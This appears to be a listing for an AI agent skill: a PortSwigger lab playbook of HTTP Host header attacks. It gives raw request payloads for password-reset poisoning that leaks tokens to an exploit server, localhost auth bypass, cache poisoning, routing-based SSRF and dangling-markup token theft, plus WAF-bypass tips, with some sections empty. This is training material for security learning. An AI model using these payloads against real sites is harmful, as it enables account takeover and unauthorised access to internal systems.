Host header

From ShulkwiSEC/bb-huge · View interactive version

Host header is an AI agent skill from the GitHub repository ShulkwiSEC/bb-huge. Complete PortSwigger deep-dive with exact payloads for every lab variant including zero-day techniques

How to use this skill

Skill file

HTTP Host Header Attacks โ€” Deep Dive

Deep-Dive Lab Playbook โ€” Every PortSwigger lab variant with exact payloads,

bypass techniques, and zero-day extensions. ๐ŸŸข Apprentice ๐ŸŸก Practitioner ๐Ÿ”ด Expert

When to Use

Prerequisites

Workflow

Phase 1: Reconnaissance

Phase 2: Exploitation

Phase 3: Zero-Day Escalation

Lab Playbooks

Lab 1: Basic password reset poisoning ๐ŸŸข APPRENTICE

POST /forgot-password HTTP/1.1
Host: EXPLOIT-SERVER

username=carlos

Reset link sent to carlos contains your Host โ†’ steal token from access log.


Lab 2: Auth bypass ๐ŸŸก PRACTITIONER

GET /admin HTTP/1.1
Host: localhost

Lab 3: Ambiguous requests cache poison ๐ŸŸก PRACTITIONER

GET / HTTP/1.1
Host: TARGET
Host: EXPLOIT-SERVER

Duplicate Host header โ€” backend uses second, cache keys on first.


Lab 4: Routing-based SSRF ๐ŸŸก PRACTITIONER

GET /admin HTTP/1.1
Host: 192.168.0.ยง1ยง

Host header controls routing to internal backends. Scan for admin panel.


Lab 5: SSRF via flawed parsing ๐ŸŸก PRACTITIONER

GET https://TARGET/admin HTTP/1.1
Host: 192.168.0.1

Absolute URL in request line โ†’ some servers use Host header for routing instead.


Lab 6: Connection state attack ๐Ÿ”ด EXPERT

First request: valid Host. Keep-alive โ†’ second request: Host: 192.168.0.1. Server reuses validated connection state.


Lab 7: Dangling markup password reset ๐Ÿ”ด EXPERT

Host: TARGET:arbitraryport/exploit-server.com/?

Password reset email contains truncated URL that leaks token to your server via dangling markup.


Blue Team Detection

Zero-Day Research

When standard technique fails:

  1. Identify the filter/WAF
  2. Fuzz with Burp Intruder custom wordlists
  3. Search GitHub/Twitter for new bypasses
  4. Chain with other vulns for escalation
  5. Try encoding variants: URL, double-URL, unicode, hex

Key Concepts

| Concept | Description |

|---------|-------------|

| PortSwigger Vectors | Standardized approaches to vulnerability classes. |

| Payload Encoding | Modifying payloads to bypass basic string matching WAFs. |

Output Format

Vulnerability Deep-Dive Report
==============================
Target Vector: [Endpoint]
Bypass Technique: [Explanation of bypass]
Payload Used: [Payload]
Impact Explanation: [Impact]

๐Ÿ”ต Blue Team

๐Ÿ›ก๏ธ Remediation & Mitigation Strategy

๐Ÿ“š Shared Resources

For cross-cutting methodology applicable to all vulnerability classes, see:

- CODE0 โ€” Exploit chaining methodology and high-payout chain patterns

- CODE0 โ€” HackerOne-optimized report writing, CWE quick reference

- CODE0 โ€” Verified disclosed bounties by vulnerability class

References

Use this skill with your AI agent: Open on Skill Issue to copy, download, or add to your library. Works with Claude, ChatGPT, Gemini, Cursor, Windsurf and more.